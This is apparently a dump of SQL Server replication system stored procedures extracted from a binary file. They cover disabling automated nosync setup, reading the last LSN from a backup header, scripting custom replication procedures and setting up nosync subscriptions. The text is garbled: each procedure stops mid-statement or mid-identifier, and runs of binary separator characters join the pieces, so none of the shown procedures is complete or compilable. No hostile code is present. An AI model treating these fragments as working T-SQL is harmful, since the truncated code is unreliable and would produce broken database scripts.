						-- The following locking code is silently failing, since it is                 -- not absolutely needed, we may as well forego it for now.
						-- (Lock is probably implicitly acquired by the SetReplicated 
						-- call above)
--                      select @qualifiedname = N'[' + replace(schema_name(ObjectProperty(@objid, 'SchemaId')), N']', N']]') + N'].' + N'[' + replace(object_name(@objid), N']', N']]') + N']'
--                      if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end    
--                      exec %%Object(MultiName = @qualifiedname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
--                      if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end    

						exec %%ColumnEx(ObjectID = @objid, Name = @identitycolname).SetIdentityNotForRepl(Value = 1)

						IF (@@ERROR != 0) OR (@retcode != 0)
						BEGIN
							SELECT	@retcode = 1
							GOTO Failure
						END
					END
				END
			END
			else if @articletype & 0x8 <> 0 -- Stored procedure execution article
			BEGIN
				exec %%Module(ID = @objid).SetProcReplicated(Value = 1)

				IF (@@ERROR != 0) OR (@retcode != 0)
				BEGIN
					SELECT	@retcode = 1
					GOTO Failure
				END

				if @articletype & 0x10 <> 0
				BEGIN
					exec %%Module(ID = @objid).SetProcReplSerialOnly(Value = 1)

					IF (@@ERROR != 0) OR (@retcode != 0)
					BEGIN
						SELECT	@retcode = 1
						GOTO Failure
					END
				END
			END                

			fetch hCarticle into @objid, @articletype
		END

		close hCarticle

		IF (@@ERROR != 0) OR (@retcode != 0)
		BEGIN
			SELECT	@retcode = 1
			GOTO Failure
		END

		select @cu!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<():"#v8--
-- Name: sp_MSdisableautonosync
--
-- Description: This is a helper procedure for performing the necessary 
--              cleanup when the allow_initialize_from_backup property is changed 
--              from 1 to 0 in sp_changepublication.
--
--              Steps that will be performed by this procedure:
--              1) Deactivate articles in publication ONLY IF there are not
--                 any active subscriptions on them including virtual 
--                 subscriptions
--              2) Reset the publication's allow_initialize_from_backup bit and
--                 min. autonosync lsn to 0 and null respectively.
--              2.1) Make the same change as 2, on the distributor
--              3) Reset the replicated bit of article objects in this 
--                 publication ONLY IF
--                   i) there are not any active subscriptions on the 
--                      article object, and
--                   ii) the article object is not published in another 
--                       publication that is enabled for automated nosync 
--                       subscription setup
--						iii) object not published in cdc
--              4) Flush the article cache
--
-- Parameter: @publication sysname (mandatory)
--
-- Note: @publication is assumed to be verified as a valid publication name in
--       the current database by the caller. No attempt will be made in this
--       procedure to check for the validity of the @publication parameter.
--
-- Security: This is an internal system procedure.
--
create procedure sys.sp_MSdisableautonosync (
    @publication sysname
    )
as
begin
    set nocount on
    declare @retcode int,
            @transactionopened bit,
            @cursorallocated bit,
            @cursoropened bit,
            @pubid int,
            @subscribed tinyint,
            @inactive tinyint,
            @articletype tinyint,
            @objid int,
            @distributor sysname,
            @distribdb sysname,
            @dbname sysname,
            @distproc nvarchar(768),
            @publisher sysname,
            @distver int
            ,@qualifiedname nvarchar(517)
    
    select @retcode = 0,
           @transactionopened = 0,
           @subscribed = 1,
           @inactive = 0 

    -- Get publication information
    select @pubid = pubid 
      from dbo.syspublications    
     where name = @publication 
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

    begin transaction
    save transaction sp_MSdisableautonosync
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    select @transactionopened = 1
    
    -- 1)
    update dbo.sysarticles
       set status = status & ~1
     where pubid = @pubid 
       and artid not in (select artid -- Set of artids with active subscriptions
                           from dbo.syssubscriptions ss
                          where ss.status not in (@subscribed, @inactive)
                         group by artid)
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

    update dbo.sysschemaarticles
       set status = status & ~1
     where pubid = @pubid
       and artid not in (select artid -- Set of artids with active subscriptions
                           from dbo.syssubscriptions ss
                          where ss.status not in (@subscribed, @inactive)
                         group by artid)
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

    -- 2)
    update dbo.syspublications
       set allow_initialize_from_backup = 0,
           min_autonosync_lsn = null
     where pubid = @pubid
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end

    -- 2.1)
    SELECT @publisher = publishingservername()
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher  = @publisher,
												@rpcsrvname = @distributor OUTPUT,
                                                @distribdb = @distribdb OUTPUT,
                                                @version = @distver OUTPUT
        
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    
    IF (@distver > 0x090007FF)    
    BEGIN
        SELECT @dbname = DB_NAME()
        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.'
                   + QUOTENAME(@distribdb) + '.dbo.sp_MSchange_publication'
   
        EXECUTE @retcode = @distproc
            @publisher = @publisher,
            @publisher_db = @dbname,
            @publication = @publication,
            @property = N'allow_initialize_from_backup',
            @value = '0'
    
        EXECUTE @retcode = @distproc
            @publisher = @publisher,
            @publisher_db = @dbname,
            @publication = @publication,
            @property = N'min_autonosync_lsn',
            @value = NULL        
    END

    -- 3)
	declare @cdc_tracked_tables table (object_id int)
	
	if object_id('cdc.change_tables') is not null
	begin
		insert @cdc_tracked_tables select distinct source_object_id from cdc.change_tables
	end

    declare hCarticleobject cursor local fast_forward for
        select objid, type
          from dbo.sysarticles sa1
         where sa1.pubid = @pubid
           and sa1.status & 1 = 0 -- Only consider objects of deactivated articles
                                -- 3)i) Set of objids with active subscriptions
           and sa1.objid not in (select sa2.objid
                                   from dbo.sysarticles sa2
                                 inner join dbo.syssubscriptions  ss
                                      on sa2.artid = ss.artid
                                  where ss.status not in (@subscribed, @inactive)
                                   group by objid)
                                -- 3)ii) Set of objids published in 
                                -- publications enabled for autonosync
           and sa1.objid not in (select sa3.objid
                                   from dbo.sysarticles sa3
                                 inner join dbo.syspublications sp
                                     on sa3.pubid = sp.pubid
                                  where sp.allow_initialize_from_backup = 1
                                    -- Exclude current publication
                                    and sp.pubid <> @pubid
                                    group by objid)
                                -- 3)iii) Set of objids enabled for cdc
           and sa1.objid not in (select object_id from @cdc_tracked_tables)
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    select @cursorallocated = 1

    open hCarticleobject
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    select @cursoropened = 1

    fetch hCarticleobject into @objid, @articletype
    while @@fetch_status <> -1
    begin
		EXEC sys.sp_MSget_qualified_name @objid, @qualifiedname OUTPUT
		IF @qualifiedname IS NULL
			goto Failure

		EXEC %%Object(MultiName = @qualifiedname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
        if @articletype & 0x1 <> 0 -- Logbased article
        begin
            exec %%Relation(ID = @objid).SetReplicated(Value = 0)
            if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end    
        end
        else if @articletype & 0x8 <> 0 -- Stored procedure execution article
        begin
            exec %%Module(ID = @objid).SetProcReplicated(Value = 0)
            if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end    
            if @articletype & 0x10 <> 0
            begin
                exec %%Module(ID = @objid).SetProcReplSerialOnly(Value = 0)
                if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end    
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(*:Dv--
-- Name: sp_MSextractlastlsnfrombackup
--
-- Description: This is a helper procedure for extracting the last lsn
--              from a backup device.
--
-- Parameters: @backupdevicetype   nvarchar(20) (optional, default = 'logical')
--             @backupdevicename   nvarchar(1000) (mandatory)
--             @mediapassword      sysname (optional, default = null)
--             @password           sysname (optional, default = null)
--             @fileidhint         int     (optional, default = null)
--             @unload             bit     (optional, default = 0)
--             @backupservername   sysname (mandatory)
--             @backupdatabasename sysname (mandatory)
--             @lastlsn            binary(10) output (mandatory)
--
-- Notes: 1) Need more experimentation to find out the quirks of 
--           RESTORE HEADERONLY (e.g. do we need to have the initial media in
--           the backup device(s) in order to read the header?)
--        2) Parameters validated in this procedure:
--             @backupdevicetype: Must be one of 'logical', 'disk', or 'tape'
--             @backupdevicename: Cannot be empty.
--             @unload: Cannot be null.
--             @backupservername: Cannot be empty.
--             @backupdatabase: Cannot be empty.
--        3) If there are multiple backup "files" in the specified backup 
--           device for the given server:database, the largest lsn among these
--           backup "files" will be returned.
--        4) Only backup headers for the specified server:database 
--           will be considered by this procedure.
--
-- Security: This is an internal system procedure.
--
create procedure sys.sp_MSextractlastlsnfrombackup (
    @backupdevicetype   nvarchar(20) = 'logical',
    @backupdevicename   nvarchar(1000),
    @mediapassword      sysname = null,
    @password           sysname = null,
    @fileidhint         int = null,
    @unload             bit = 1,
    @backupservername   sysname,
    @backupdatabase     sysname,
    @lastlsn            binary(10) output
    )
as 
begin
    set nocount on
    declare @retcode int,
            @table_created bit,
            @restore_command nvarchar(4000)

    select @retcode = 0,
           @table_created = 0,
           @restore_command = N'',
           @lastlsn = null

    select @backupdevicetype = ltrim(rtrim(lower(isnull(@backupdevicetype,N'') collate SQL_Latin1_General_CP1_CS_AS))),
           @backupdevicename = ltrim(rtrim(isnull(@backupdevicename,N'')))

    -- Parameter check: @backupdevicetype. Must be one of 'logical', 'disk', or 'tape'
    if @backupdevicetype not in (N'logical', N'disk', N'tape')
    begin
        raiserror(18781,16,-1)
        return 1
    end

    -- Parameter check: @backupdevicename. Cannot be empty.
    if @backupdevicename = N''
    begin
        raiserror(14043,16,-1,'@backupdevicename', 'sp_MSextractlastlsnfrombackup')
        return 1
    end

    -- Parameter check: @backupservername. Cannot be empty.
    if @backupservername = N'' or @backupservername is null
    begin
        raiserror(14043,16,-1,'@backupservername', 'sp_MSextractlastlsnfrombackup')
        return 1
    end

    -- Parameter check: @backupdatabase. Cannot be empty.    
    if @backupdatabase = N'' or @backupdatabase is null
    begin
        raiserror(14043,16,-1,'@backupdatabase', 'sp_MSextractlastlsnfrombackup')
        return 1
    end
    
    -- Parameter check: @unload. Cannot be null.
    if @unload is null
    begin
        raiserror(14043,16,-1,'@unload', 'sp_MSextractlastlsnfrombackup')
        return 1        
    end

    -- Create temp table to hold the result set of 'restore headeronly'
    create table #restore_headeronly (
        BackupName             nvarchar(128) null,
        BackupDescription      nvarchar(255) null,
        BackupType             smallint null,
        ExpirationDate         datetime null,
        Compressed             tinyint null,
        Position               smallint null,
        DeviceType             tinyint null,
        UserName               nvarchar(128) null,
        ServerName             nvarchar(128) null,
        DatabaseName           nvarchar(128) null,
        DatabaseVersion        int null,
        DatabaseCreationDate   datetime null,
        BackupSize             numeric(20,0) null,
        FirstLsn               numeric(25,0) null,
        LastLsn                numeric(25,0) null,
        CheckpointLsn          numeric(25,0) null,
        DatabaseBackupLsn      numeric(25,0) null,
        BackupStartDate        datetime null,
        BackupFinishDate       datetime null,
        SortOrder              smallint null,
        CodePage               smallint null,
        UnicodeLocaleId        int null,
        UnicodeComparisonStyle int null,
        CompatibilityLevel     tinyint null,
        SoftwareVendorId       int null,
        SoftwareVersionMajor   int null,
        SoftwareVersionMinor   int null,
        SoftwareVersionBuild   int null,
        MachineName            nvarchar(128) null,
        Flags                  int null,
        BindingID              uniqueidentifier null,
        RecoveryForkID         uniqueidentifier null,
        Collation              nvarchar(128) null,
        FamilyGUID             uniqueidentifier null,
        HasBulkLoggedData      bit null,
        IsSnapshot             bit null,
        IsReadOnly             bit null,
        IsSingleUser           bit null,
        HasBackupChecksums     bit null,
        IsDamaged              bit null,
        BeginsLogChain         bit null,
        HasIncompleteMetaData  bit null,
        IsForceOffline         bit null,
        IsCopyOnly             bit null,
        FirstRecoveryForkID    uniqueidentifier null,
        ForkPointLSN           numeric(25,0) null,
        RecoveryModel          nvarchar(60) null,
        DifferentialBaseLSN    numeric(25,0) null,         
        DifferentialBaseGUID   uniqueidentifier null,
        BackupTypeDescription  nvarchar(60) null,
        BackupSetGUID          uniqueidentifier null,
        CompressedBackupSize   numeric(20,0) null,
        Containment            tinyint not null)

    if @@error<>0 begin select @retcode = 1 goto Failure end        
    select @table_created = 1
   
    -- construct the restore headeronly command    
    select @restore_command = N'restore headeronly from ' +
        case @backupdevicetype 
            when N'logical' then quotename(@backupdevicename) collate database_default 
            when N'disk' then N'disk = ' + sys.fn_replmakestringliteral(@backupdevicename) collate database_default
            when N'tape' then N'tape = ' + sys.fn_replmakestringliteral(@backupdevicename) collate database_default
        end +
        -- backup device name
        N' with ' +
        -- unload | nounload
        case @unload 
            when 0 then 'nounload'
            when 1 then 'unload'
        end +
        -- fileid
        case 
            when @fileidhint is not null
                then N', file = ' + convert(nvarchar(25), @fileidhint)
            else N''
        end +
        -- password
        case 
            when @password is not null 
                then N', password = ' + sys.fn_replmakestringliteral(@password) collate database_default
            else N''
        end +
        -- mediapassword
        case 
            when @mediapassword is not null 
                then N', mediapassword = ' + sys.fn_replmakestringliteral(@mediapassword) collate database_default
            else N''
        end
    if @@error<>0 begin select @retcode = 1 goto Failure end
        
    insert into #restore_headeronly exec(@restore_command)
    if @@error<>0 begin select @retcode = 1 goto Failure end
    
    select top 1 @lastlsn = sys.fn_convertnumericlsntob!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(+:T2QvF&--
-- Name: sp_MSscriptpublicationcustomprocs
--
-- Description: This is an internal procedure that does the real work
--              for sp_scriptpublicationcustomprocs and
--              sp_MSgeneratenosyncsubscriptionsetupscript scripting out
--              a publication's (or an article thereof) custom procedures.
-- 
-- Notes: 1) Reconciliation procedures for concurrent snapshot will
--           not be scripted by this procedure. It does not really make 
--           sense to have concurrent snapshots for nosync subscriptions.
--        2) Custom procedures will not be scripted out for articles 
--           without the auto-generate custom procedure (0x2) schema_option.
--        3) IMPORTANT: The #scripttext temporary table is assumed to be
--           created before this procedure is called.
--
-- Parameter: @publication sysname
--
-- Security: This is an internal system procedure.
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSscriptpublicationcustomprocs
(
    @publication    sysname,
    @article        sysname = N'all',
    @publisher		sysname = NULL,
    @publisher_type	sysname = N'MSSQLSERVER',
    @usesqlclr bit = 1
)
as
begin
    set nocount on

    declare @retcode			int,
            @artid				int,
            @pubid				int,
            @cursor_allocated	bit,
            @cursor_opened		bit,
            @current_article	sysname,
            @ins_cmd			nvarchar(255),
            @upd_cmd			nvarchar(255),
            @del_cmd			nvarchar(255),
            @schema_option		int,
            @repl_freq			int,
            @formattedmessage	nvarchar(4000),
            @publishertype		tinyint
    
    -- Initializations 
    select @retcode = 0,
           @pubid = null,
           @cursor_allocated = 0,
           @cursor_opened = 0,
           @publishertype = case when (@publisher_type = N'MSSQLSERVER') then 1 else 2 end
    --
    -- Make sure the current database is enabled for transaction replication
    -- Check if the current database is published
    IF (sys.fn_MSrepl_istranpublished(db_name(),1) = 0)
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END    

    -- Get publication id
    SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)
    if @pubid is null
    begin
        raiserror(20026, 16, -1, @publication)
        return 1            
    end

    -- Parameter check: The specified @publication is a valid Transactional 
    -- publication
    SELECT	@repl_freq = repl_freq
    FROM	syspublications
    WHERE	name  = @publication
      AND	pubid = @pubid
    -- Don't script out custom procs for a snapshot publication
    if @repl_freq = 1
    begin
        raiserror(21515, 16, -1, @publication) 
        return 1
    end
    
    -- Script header
    select @formattedmessage = formatmessage(21516, @publication, db_name())
    IF (@@ERROR != 0)
    BEGIN
        SELECT @retcode = 1
        GOTO Failure
    END

    insert into #scripttext(line) values(N'--')
    insert into #scripttext(line) values(N'-- ' + @formattedmessage)
    insert into #scripttext(line) values(N'--')
    insert into #scripttext(line) values(N'')
    insert into #scripttext(line) values(N'')

    -- Open cursor through all table articles in the specified publication and script out
    -- custom procs as necessary
    
	DECLARE harticle CURSOR local fast_forward FOR
	SELECT	artid,
			ins_cmd,
			upd_cmd,
			del_cmd,
			name,
			sys.fn_replgetbinary8lodword(schema_option)
	FROM	dbo.sysarticles
	WHERE	pubid = @pubid
	  AND	(type & 1) <> 0
	  AND	(@article = N'all' or name = @article)

    IF (@@ERROR != 0)
    BEGIN
    	SELECT @retcode = 1
    	GOTO Failure
    END

    select @cursor_allocated = 1

    open harticle

    IF (@@ERROR != 0)
    BEGIN
    	SELECT @retcode = 1
    	GOTO Failure
    END

    select @cursor_opened = 1
    
    FETCH	harticle
    INTO	@artid,
    		@ins_cmd,
    		@upd_cmd,
    		@del_cmd,
    		@current_article,
    		@schema_option

    while (@@fetch_status<>-1)
    begin        
        IF (@schema_option & 2) = 0
        BEGIN

	       SELECT @formattedmessage = formatmessage(21517,@current_article)

		IF (@@ERROR != 0)
		BEGIN
			SELECT @retcode = 1
			GOTO Failure
		END

            insert into #scripttext(line) values(N'----')
            insert into #scripttext(line) values(N'---- ' + @formattedmessage)
      	     insert into #scripttext(line) values(N'----')
            insert into #scripttext(line) values(N'')
		
            goto SkipArticle
        end 

        SELECT @formattedmessage = formatmessage(21518,@current_article)

	IF (@@ERROR != 0)
	BEGIN
		SELECT @retcode = 1
		GOTO Failure
	END

        insert into #scripttext(line) values(N'----')
        insert into #scripttext(line) values(N'---- ' + @formattedmessage)
        insert into #scripttext(line) values(N'----')
        insert into #scripttext(line) values(N'')

        -- INSERT
        IF LOWER(substring(@ins_cmd,1,len(N'call'))) = N'call' OR
        	LOWER(substring(@ins_cmd,1,len(N'scall'))) = N'scall'
        BEGIN
            INSERT INTO #scripttext(line)
            EXEC @retcode = sys.sp_MSscriptcustominsproc @artid, @publishertype, @publisher, @usesqlclr

			IF (@@ERROR != 0) OR (@retcode != 0)
			BEGIN
				SELECT @retcode = 1
				GOTO Failure
			END

            INSERT INTO #scripttext(line) VALUES('go')
            INSERT INTO #scripttext(line) VALUES('')
        END
        ELSE IF LOWER(SUBSTRING(@ins_cmd,1,len(N'sql'))) = N'sql'
        BEGIN
            SELECT @formattedmessage = formatmessage(21519)

			IF (@@ERROR != 0)
			BEGIN
				SELECT @retcode = 1
				GOTO Failure
			END

            insert #scripttext(line) values('-- ' + @formattedmessage)
            insert #scripttext(line) values('')
        END
        ELSE
        BEGIN
            SELECT @formattedmessage = formatmessage(21520,@ins_cmd)

			IF (@@ERROR != 0)
			BEGIN
				SELECT @retcode = 1
				GOTO Failure
			END
            insert #scripttext(line) values('-- ' + @formattedmessage)
      	     insert #scripttext(line) values('')
        END

		-- UPDATE
        IF	(LOWER(SUBSTRING(@upd_cmd,1,len(N'call'))) = N'call') OR
        	(LOWER(SUBSTRING(@upd_cmd,1,len(N'mcall'))) = N'mcall') OR
        	(LOWER(SUBSTRING(@upd_cmd,1,len(N'xcall'))) = N'xcall') OR
        	(LOWER(SUBSTRING(@upd_cmd,1,len(N'vcall'))) = N'vcall') OR
        	(LOWER(SUBSTRING(@upd_cmd,1,len(N'scall'))) = N'scall')
        BEGIN
            INSERT INTO #scripttext(line)
            EXEC @retcode = sys.sp_MSscriptcustomupdproc @artid, @publishertype, @publisher, @usesqlclr

			IF (@@ERROR != 0) OR (@retcode != 0)
			BEGIN
				SELECT @retcode = 1
				GOTO Failure
			END

            insert into #scripttext(line) values('go')
            insert into #scripttext(line) values('')
        END
        ELSE IF LOWER(SUBSTRING(@upd_cmd,1,len(N'sql'))) = N'sql'
        BEGIN
            SELECT @formattedmessage = formatmessage(21519)

			IF (@@ERROR != 0)
			BEGIN
				SELECT @retcode = 1
				GOTO Failure
			END
            insert #scripttext(line) values('-- ' + @formattedmessage)
      	     insert #scripttext(line) values('')
        END
        ELSE
        BEGIN
            SELECT @formattedmessage = formatmessage(21520,@upd_cmd)

			IF (@@ERROR != 0)
			BEGIN
				SELECT @retcode = 1
				GOTO Failure
			END

            insert #scripttext(line) values('-- ' + @formattedmessage)
      	     insert #scripttext(line) values('')
        END

		-- DELETE
        IF	(LOWER(SUBSTRING(@del_cmd,1,len(N'call'))) = N'call') OR
        	(LOWER(SUBSTRING(@del_cmd,1,len(N'xcall'))) = N'xcall') OR
        	(LOWER(SUBSTRING(@del_cmd,1,len(N'vcall'))) = N'vcall')
        BEGIN
            INSERT INTO #scripttext(line)
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(,e;(Ov<p--
-- Name: sp_MSsetupnosyncsubscriptionwithlsn
--
-- Description: This is an internal helper for 1) generating a setup script 
--              for a nosync subscription and 2) setting up the RPC call for
--              activating the nosync subscription at the distributor.
--
-- Parameters: @publication     sysname (mandatory)
--             @article         sysname (optional, default = N'all')
--             @subscriber      sysnane (optional, default = null)
--             @destination_db  sysname (optional, default = null)
--             @update_mode     nvarchar(30) (optional, default = 'read only')
--             @subscriptionlsn binary(10) (mandatory) 
--             @lsnsource       tinyint (optional, default = 0)
--                              0: sp_replincrementlsn, 1: backup, 2: user specified
--             @publisher       sysname (optional, default = NULL)
--             @publisher_type  sysname (optional, default = N'MSSQLSERVER')
--
-- Notes: 1) Since this is an internal procedure, all subscription
--           related parameters are assumed to have been validated 
--           already.
--
-- Security: This is an internal procedure.
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSsetupnosyncsubscriptionwithlsn
(
	@publication		sysname,      
	@article			sysname = N'all',
	@subscriber			sysname = NULL,
	@destination_db		sysname = NULL,
	@update_mode		nvarchar(30) = 'read only',
	@subscriptionlsn	binary(10),
	@lsnsource			int = 0,
	@publisher			sysname = NULL,
	@publisher_type		sysname = N'MSSQLSERVER'
)
AS
BEGIN
    DECLARE @retcode					int,
            @currentdatabase			sysname,
            -- Distributor properties
            @distributor				sysname,
            @distribdb					sysname,
            -- Publication properties
            @pubid						int,
            @nonsyncSubscriptionHelper          nvarchar(max),
    		@script_txt					nvarchar(max),
    		@publisher_db_version		int,
    		@publisher_local			sysname,
            @nosync_setup_script        nvarchar(max) = N'',
            @next_valid_lsn             binary(10),
            @artid			int = NULL

    SET NOCOUNT ON

    -- Initializations
    select @retcode = 0,
           @currentdatabase = db_name()
           
	IF (@publisher IS NULL) AND (@publisher_type = N'MSSQLSERVER')
	BEGIN
		SELECT	@publisher_local = publishingservername()
	END
	ELSE
	BEGIN
		SELECT	@publisher_local = @publisher
	END

	-- Get publication id
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)
           
    -- Get publication information. Note that we want to use
    -- the case-variation of the publication name as persisted in 
    -- syspublications because the name shortening algo. is case-sensitive.
    -- Since all the subscription parameters are assumed to have been
    -- validated before, the publication must exist
    SELECT	@publication = name
	FROM	syspublications
	WHERE	pubid = @pubid

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT	@retcode = 1
    	GOTO Failure
    END

    -- Get distributor information, just need the working directory
    exec @retcode = sys.sp_helpdistributor	@publisher	= @publisher,
    										@rpcsrvname	= @distributor OUTPUT,
											@distribdb	= @distribdb OUTPUT

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT	@retcode = 1
    	GOTO Failure
    END
    
    -- Generate subscription setup script (custom procedures, sync trigger
    -- creation commands etc.)
    -- Note: Make sure that sp_MSgeneratenosyncsubscriptionsetupscript
    --       is called after sp_addsubscription so all the subscription
    --       parameters are validated.
    IF (@publisher_type = N'MSSQLSERVER')
    BEGIN
        --generate the script of processing hidden column, table persistent property and conflict table for all articles
        --for read-only subscriptions
        declare @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION int
        select @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION = 0x8
        declare @p2pcdscript nvarchar(max)
        
        if exists (select * from syspublications where pubid = @pubid and 
        	options & @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION = @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION)
        begin
        	--@article must be N'all'
	 	exec @retcode = sp_MSscriptpeerconflictdetection_tableaug @pubid = @pubid, @publication = @publication, 
							@enabling = 1, @originator_id = 0x80000000, @cmdtxt = @p2pcdscript output
		if @@error <> 0 or @retcode <> 0
		begin
			select @retcode = 1
			goto Failure
		end
	end
	else
		select @p2pcdscript = NULL

        exec @retcode = sys.sp_MSgeneratenosyncsubscriptionsetupscript_sqlclr	@publication		= @publication,
			    														        @article			= @article,
		        		    													@update_mode		= @update_mode,
				        	    												@publisher			= @publisher,
						            											@publisher_type		= @publisher_type,
                                                                                @nvarcharmaxscript  = @nosync_setup_script output
        IF (@@ERROR != 0) OR (@retcode != 0)
        BEGIN
    	    SELECT	@retcode = 1
    	    GOTO Failure
        END

	if @p2pcdscript is not NULL 
		select @nosync_setup_script = @p2pcdscript + N' ' + @nosync_setup_script 

    END
    ELSE
    BEGIN
        exec @retcode = sys.sp_MSgeneratenosyncsubscriptionsetupscript	@publication		= @publication,
			    														@article			= @article,
				    													@update_mode		= @update_mode,
					    												@publisher			= @publisher,
						    											@publisher_type		= @publisher_type,
                                                                        @nvarcharmaxscript  = @nosync_setup_script output
        IF (@@ERROR != 0) OR (@retcode != 0)
        BEGIN
    	    SELECT	@retcode = 1
    	    GOTO Failure
        END
    END
	-- Get the PeerToPeer meta-data commands... if the publication is not enabled for 
	-- PeerToPeer then the procedure will set script_txt to NULL and will then exit.
	IF (@publisher_type = N'MSSQLSERVER')
	BEGIN
		select @script_txt = N'', @publisher_db_version = NULL

		exec sys.sp_MSgetpeertopeercommands @publication 	= @publication,
											@article        = @article,
											@script_txt 	= @script_txt output

		IF (@@ERROR != 0) OR (@retcode != 0)
		BEGIN
			SELECT	@retcode = 1
			GOTO Failure
		END
	END


	if @script_txt is not NULL
	BEGIN
		exec @retcode = sys.sp_MSgetdbversion @current_version = @publisher_db_version output

		IF (@@ERROR != 0) OR (@retcode != 0)
		BEGIN
			SELECT	@retcode = 1
			GOTO Failure
		END
	END    

    -- Grab the next valid LSN
    --   This is done in case the repl_commands table is empty and we need somewhere to place the 
    --     setup commands in an init from lsn case.
    exec @retcode =  sys.sp_replincrementlsn	@xact_seqno = @next_valid_lsn OUTPUT,
        										@publisher	= @publisher
   
    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT	@retcode = 1
    	GOTO Failure
    END

	begin tran Setupnosyncsub
	save tran Setupnosyncsub

	-- RPC dbo.sp_MSsetupnosyncsubwithlsnatdist_helper to set subscription status as active,
	-- which enables logreader to deliver commands to distribution database for this subscription;
	-- also forward the parameters needed by sp_MSsetupnosyncsubwithlsnatdist to table 
	-- MSnosyncsubsetup that resides in distribution db.

	select @nonsyncSubscriptionHelper = quotename(rtrim(ltrim(@distributor))) + N'.' 
							+ quotename(ltrim(rtrim(@distribdb))) + N'.'
							+ N'dbo.sp_MSsetupnosyncsubwithlsnatdist_helper'

	exec @retcode = @nonsyncSubscriptionHelper @publisher = @publisher_local,
						@publisher_db = @currentdatabase,
						@publication = @publication,
						@article = @article,
						@sub!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(-;v--
-- Name: sp_MSaddautonosyncsubscription
--
-- Description: This procedure represents a separate code path in 
--              sp_addsubscription for adding a nosync subscription using the 
--              automated nosync subscription setup support. 
--              sp_addsubscription will invoke this procedure when it 
--              recognizes that the value of the @sync_type parameter is one
--              of 'replication support only', 'initialize with backup', or 
--              'initialize from lsn'. 
--
-- Parameters: (Subscription setup parameters)
--             @publication                 sysname (mandatory)      
--             @article                     sysname (optional, default = N'all')
--             @subscriber                  sysname (optional, default = NULL)
--             @destination_db              sysname (optional, default = NULL)
--             @sync_type                   nvarchar(80) (optional, default = N'replication support only')
--             @status                      sysname (optional, default = NULL, must be NULL or 'active')
--             @subscription_type           nvarchar(4) (optional, default = N'push')
--             @update_mode                 nvarchar(30) (optional, default = 'read only')
--             @loopback_detection          nvarchar(5) (optional, default = NULL)
--             @frequency_type              int (optional, default = NULL)
--             @frequency_interval          int (optional, default = NULL)
--             @frequency_relative_interval int (optional, default = NULL)
--             @frequency_recurrence_factor int (optional, default = NULL)
--             @frequency_subday            int (optional, default = NULL)
--             @frequency_subday_interval   int (optional, default = NULL)
--             @active_start_time_of_day    int (optional, default = NULL)
--             @active_end_time_of_day      int (optional, default = NULL)
--             @active_start_date           int (optional, default = NULL)
--             @active_end_date             int (optional, default = NULL)
--             @optional_command_line       nvarchar(4000) (optional, default = NULL)    
--             @enabled_for_syncmgr         nvarchar(5) (optional, default = 'false')
--             @offloadserver               sysname (optional, default = NULL)
--             @dts_package_name            sysname (optional, default = NULL)
--             @dts_package_password        sysname (optional, default = NULL) 
--             @dts_package_location        nvarchar(12) (optional, default = N'distributor')
--             @distribution_job_name       sysname (optional, default = NULL)
--
--             (Backup last LSN extraction properties)
--             @backupdevicetype   nvarchar(20) (optional, default = 'logical')
--             @backupdevicename   nvarchar(1000) (optional, default = null)
--             @mediapassword      sysname (optional, default = null)
--             @password           sysname (optional, default = null)
--             @fileidhint         int     (optional, default = null)
--             @unload             bit     (optional, default = 0)
--
--             (Explicitly specified LSN for this subscription)
--             @subscription_lsn   binary(10) (optional, default = null)
--             @subscriber_type    tinyint	(optional, default = 0)					 
--
-- Notes: 1) Current restrictions on using the (partially) automated 
--           nosync subscription setup support:
--            1) Partial subscription to a publication is not allowed.
--            2) The publication must allow initialize with backup 
--               if sync_type is 'initialize with backup' or 'initialize from
--               lsn'  (i.e. allow_initialize_from_backup = 1).
--        2) The various operations performed in this procedure is not
--           fully atomic and they cannot be made as atomic. It may be 
--           necessary to manually clean up the script directory 
--           in certain failure scenarios (failed to commit).        
--        3) SQL Server account at the publisher must have write access 
--           to the distributor's working folder.
--        4) The LSN returned by sp_replincrementlsn is not validated against
--           the publication's min. autonosync lsn because it is not 
--           necessary to do so.
--        5) No error will be raised if backup parameters are specified 
--           for non-'autonosync with backup' subscriptions and vice 
--           versa.
--           
-- Security: This is an internal system procedure.
-- Requires Certificate signature for catalog access
--
